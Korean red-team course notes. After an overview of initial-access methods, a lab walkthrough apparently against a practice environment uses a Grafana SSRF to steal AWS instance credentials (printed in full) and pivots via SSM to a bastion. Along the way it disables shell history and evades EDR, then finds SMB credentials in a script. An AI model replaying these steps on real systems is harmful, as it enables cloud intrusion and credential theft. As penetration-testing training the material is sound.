초기 침투 - 개념
개념
- 공격자가 외부에서 대상의 내부망 / 사내망 / 클라우드 환경에 진입하는 최초로 사용하는 접근 단계
- 블랙 박스 : 외부 정찰 결과 바탕으로 초기 침투
- 그레이 / 화이트 : 테스트 해보고 싶은 초기 침투
초기 침투 종류
여러 가지 방법으로 초기 침투를 할 수 있다. 그중 가장 대표적인 것은 다음과 같다.
- 소셜 엔지니어링 : 피싱, Vishing
- OSINT
- VPN, Citrix, RDS 등의 원격 / 재택 서비스
- 웹 / 모바일
- 다크웹 - Valid Account, 노출된 토큰, API 키, 등
- SaaS
- 클라우드 공격
- Wi-Fi
- 물리 침투
- 협력사 / 외주사 / 해외법인 장악 후 본사 Pivot
초기 침투 트렌드
- 해외 : 클라우드 & IAM/IdP 관련 공격
- EntraID, Okta
- 토큰 (RPT) 탈취
- 국내 : 페이로드 기반 피싱, DMZ 쪽의 웹 / 모바일
- 엔드포인트 보안 취약
- 클라우드 / SaaS 사용 & On-Prem DMZ 의존도
- 공통 : 물리 / 와이파이
소셜 엔지니어링 유의점
- 법, 컴플라이언스, RoE, 회사 내규
ex ) 공무원 자격 사칭
ex ) 피싱 대상을 RoE를 통한 정한 경우 ex ) 회사 내규에 어긋나는 침투 시나리오 - 개인 정보 수집 금지, 활용 금지
위 문제를 방지하기 위한 과정
- 자체 검토 + 고객사 / 본사 컴토 + 법무팀 검토
초기 침투 - 실습
grafana SSRF
git clone https://github.com/AswXrd/grafana-ssrf-v2.gitgrafana-ssrf 취약점을 활용해서 서버의 메타데이터를 뽑아내 보겠습니다
python3 grafana-ssrf-v2.py -U admin -P 'wfa9cjb_myq-TQD*khz' -H http://stg-ap2-api04-monitor.raccoontech.work:3000 -u http://169.254.169.254/latest/meta-datapython3 grafana-ssrf-v2.py -U admin -P 'wfa9cjb_myq-TQD*khz' -H http://stg-ap2-api04-monitor.raccoontech.work:3000 -u http://169.254.169.254/latest/meta-data/iam
[+] SSRF status: 200
info
security-credentials/
python3 grafana-ssrf-v2.py -U admin -P 'wfa9cjb_myq-TQD*khz' -H http://stg-ap2-api04-monitor.raccoontech.work:3000 -u http://169.254.169.254/latest/meta-data/iam/security-credentials/
[+] SSRF status: 200
rtAWSDMZSSM
python3 grafana-ssrf-v2.py -U admin -P 'wfa9cjb_myq-TQD*khz' -H http://stg-ap2-api04-monitor.raccoontech.work:3000 -u http://169.254.169.254/latest/meta-data/iam/security-credentials/rtAWSDMZSSM
[+] SSRF status: 200
{
"Code" : "Success",
"LastUpdated" : "2026-05-03T11:11:31Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA46JLVYVSYD55RGUT",
"SecretAccessKey" : "cFeNzfB4HVXWvTHQB3kkVxknFTboyzQI/wZ+bWiw",
"Token" : "IQoJb3JpZ2luX2VjEIv//////////wEaDmFwLW5vcnRoZWFzdC0zIkcwRQIhALyH7w8CzhdL35K8YZHWYC0VToyvUEQHKSSKlfW8740PAiAUQhNUooYNFG6v35V0qbmg3kkd3Qf8GhnSpKSM19JYKirKBQhUEAEaDDg4OTY4NjcwNTUwOSIMprIaHqp6AjehMHU4KqcFo0Rtd6gj/p9oIx3tHpmk87PNB8CzJz9hqlvZu52qthId7vmLOF1e6Usx5N/FsxruyfQ745qKYRFL9OM+C8TYB2rzuDxbv1EZJ2rM3E3DqhKTcoYQJqCjQwnheevJmsIqYRUAzfxP/SqwBNXjLqVNhKOvWLQpOS9ZAq+28eH4Qar3k0MpG/hygVS4yUc2gyW1xNlaYspByShgVq2bo+zwaQQzLrMZ9I060eTASaTJCexo/GsuOPvlDZHPA/vmQWDkLWsn27saKcGZtW3TXL08jXe+vJdP2z4tZeXNmSQB4scNlYH9cRTRs3lanwMdiDQ4Xg02r3tKEpNo8jWIoIKz/1HZhNRvXf3w1ctvssoEkyf8oTdQR9h1Pn0Lhorx/+iZF9KhUFNMQjQZZXtOMllgp9dIRKVwTjENm8NZqRxhEoNNFbo5WEW1trOcDwUJVqoRcbvVZ3fozaRLwc9T/WN8jCRg2lzW1+yuRp3LvqfQZlmrjBg5v77jK/0BTi3Y5yKiiT+OWcLDK6gPP3zCorJw7eDpsjOjoslRcyAFCV/2pUq5ftVdQtg6QUwmSeSVimXEidHJf/+jBDb9NO4HVh0RmN7N5CLoZsCs7yWcMwIkzcu3PbqSZlewaAQLq0BuON7iwTlm42kiz+h4ssEiibk/vJtBruE53G5wdYcl0g1XPVC8WWACLb3q4frDSLdF8ZMN7W5EUpAOlSstKL7LEzpsQXJhcWTQLI1NW+L1ImYBF3XLIxH9ggGSg90qO7Cbcgu5eVUjyXBcVv4+mdHomfvGngCWEjqg4ZZcDryRXw7gdEKd35CKFpenBSsmLyIOXuFJiMbFM1/RYv9SbtU+QKNaZoEa5H4ELW2dw55oyhg7ebmaiOgqee3VWlYIp3D37xF4H/J49WsPGTD82tzPBjqxAa9KXwGXvE7kVApO4IDvggMSjJlaTrlQGVcSU+w4uS0hulqH4tkaZAq79L1k80glaFGBR6LvsFf5+0KM8Ea7bRTcksGwFWCtZ6BATDCjlzyLJxxQnJz9/hXNCZXMoAZydS7o/fktMIYeXFaBWNjuudruCyZCsSMajJtc2VhpagNEAle7bnfYq0KsUhyDVbU9LWF412qokXZ/L+iPE7z561eXu9xCjVOrVYk0cd3erkrsUQ==",
"Expiration" : "2026-05-03T17:26:56Z"
}$vim rtl-ssrf.json
$aws configure set profile.rtlssrf.aws_access_key_id "$(jq -r .AccessKeyId rtl-ssrf.json)"
$aws configure set profile.rtlssrf.aws_secret_access_key "$(jq -r .SecretAccessKey rtl-ssrf.json)"
$aws configure set profile.rtlssrf.aws_session_token "$(jq -r .Token rtl-ssrf.json)"
$aws configure set profile.rtlssrf.region ap-northeast-3
$aws sts get-caller-identity --profile rtlssrf
{
"UserId": "AROA46JLVYVSSZUJJ4FXJ:i-015ca6d3cc66605d5",
"Account": "889686705509",
"Arn": "arn:aws:sts::889686705509:assumed-role/rtAWSDMZSSM/i-015ca6d3cc66605d5"
}자동 정보 수집
pipx install git+https://github.com/RhinoSecurityLabs/pacu.git/root/.local/bin/pacu
# 세션 이름 rtl-ssrf
Pacu (rtl-ssrf:No Keys Set) > import_keys rtlssrf
Pacu (rtl-ssrf:imported-rtlssrf) > run iam__enum_permissions
Pacu (rtl-ssrf:imported-rtlssrf) > run ec2__enum --regions ap-northeast-1,ap-northeast-2,ap-northeast-3
Pacu (rtl-ssrf:imported-rtlssrf) > run iam__privesc_scan 수동 정보 수집
aws ssm describe-instance-information --profile rtlssrf
{
"InstanceInformationList": [
{
"InstanceId": "i-015ca6d3cc66605d5",
"PingStatus": "Online",
"LastPingDateTime": "2026-05-03T11:37:43.998000+00:00",
"AgentVersion": "3.3.4121.0",
"IsLatestVersion": false,
"PlatformType": "Linux",
"PlatformName": "Ubuntu",
"PlatformVersion": "24.04",
"ResourceType": "EC2Instance",
"IPAddress": "10.10.1.218",
"ComputerName": "raccoontech-dmz-stg-ap2-api04-monitor"
},
{
"InstanceId": "i-07236096412fe9f4f",
"PingStatus": "Online",
"LastPingDateTime": "2026-05-03T11:38:04.924000+00:00",
"AgentVersion": "3.3.4121.0",
"IsLatestVersion": false,
"PlatformType": "Linux",
"PlatformName": "Ubuntu",
"PlatformVersion": "24.04",
"ResourceType": "EC2Instance",
"IPAddress": "10.10.12.178",
"ComputerName": "raccoontech-dmz-bastion01"
}
]
}curl "https://s3.amazonaws.com/session-manager-downloads/plugin/latest/ubuntu_64bit/session-manager-plugin.deb" -o "session-manager-plugin.deb"
sudo dpkg -i session-manager-plugin.debaws ssm start-session --profile rtlssrf --target <instance ID>
$sudo su - 이를 통해서 bastion 호스트를 접속할 수 있습니다!
unset HISTFILE
export HISTSIZE=0
export HISTFILESIZE=0
set +o history우리가 서버에 접속해서 명령어를 실행하면 history에 남게 되는데 이 경우 blueteam에서 탐지를 할 수 있기때문에 history에 남지 안도록 막아놔야한다.
echo $USER # 유저, 그룹, NIC 확인
echo "${GROUPS[@]}"
ls /sys/class/net # ifocnfig
$ awk '/32 host/ { print f } {f=$2}' <<< "$(</proc/net/fib_trie)" | sort -fuV # 현재 IP 확인
$ cat /etc/resolv.conf # DNS 확인
root@raccoontech-dmz-bastion01:~$ awk 'function hex2ip(h,ip){for(i=1;i<=4;i++){b=substr(h,9-i*2,2);ip=(ip?ip".":"")strtonum("0x"b)};return ip} NR==1{print;next} {printf "%-8s %-15s %-15s %-15s\n",$1,hex2ip($2),hex2ip($3),hex2ip($8)}' /proc/net/route # Route 확인일반적인 whoami, ifconfig 와 같은 명령어들은 EDR에 걸릴 위험이 있습니다. 따라서 echo 명령어를 통해 $USER라는 변수를 출력하거나 /etc/resolv.conf와 같은 파일을 직접 출력하는 것을 통해서 얻는 것이 좋다
ls -alh # cat /etc/passwd
cd /home
ls -alh
drwxr-xr-x 5 root root 4.0K May 1 14:32 .
drwxr-xr-x 22 root root 4.0K Apr 30 22:06 ..
drwxr-x--- 3 mark.shawn@us.rt.local domain users@us.rt.local 4.0K May 1 14:35 mark.shawn@us.rt.local
drwxr-x--- 2 ssm-user ssm-user 4.0K Apr 26 03:32 ssm-user
drwxr-x--- 4 ubuntu ubuntu 4.0K Apr 27 03:09 ubuntuhome디렉토리를 확인해본 결과 mark.shawn@us.or.local이라는 디렉토리가 있는 것을 확인할 수 있었습니다.
cd ./mark.shawn@us.rt.local/
ls -alh
total 40K
drwxr-x--- 3 mark.shawn@us.rt.local domain users@us.rt.local 4.0K Dec 29 14:31 .
drwxr-xr-x 5 root root 4.0K May 1 2025 ..
-rw------- 1 mark.shawn@us.rt.local domain users@us.rt.local 255 May 2 2025 .bash_history
-rw-r--r-- 1 mark.shawn@us.rt.local domain users@us.rt.local 220 May 1 2025 .bash_logout
-rw-r--r-- 1 mark.shawn@us.rt.local domain users@us.rt.local 3.7K May 1 2025 .bashrc
drwx------ 2 mark.shawn@us.rt.local domain users@us.rt.local 4.0K May 1 2025 .cache
-rw-r--r-- 1 mark.shawn@us.rt.local domain users@us.rt.local 807 May 1 2025 .profile
-rwxr-xr-x 1 mark.shawn@us.rt.local domain users@us.rt.local 72 May 2 2025 .smb-mount.sh
-rw------- 1 mark.shawn@us.rt.local domain users@us.rt.local 2.0K May 2 2025 .viminfo
-rw-r--r-- 1 root root 323 Oct 8 2025 ip
cat .smb-mount.sh
smbclient //10.2.30.250/awsshare -U "US\\Mark.Shawn%Super@God" -c 'ls'정리
공격 순서
Grafana + SSRF→IAM SSM→AWS enumeration→SSM→bastion01→sssd→RT onprem-us.rt.local 10.2.30.250/awsshareINTERNET→AWS→AWS EC2→ONPREM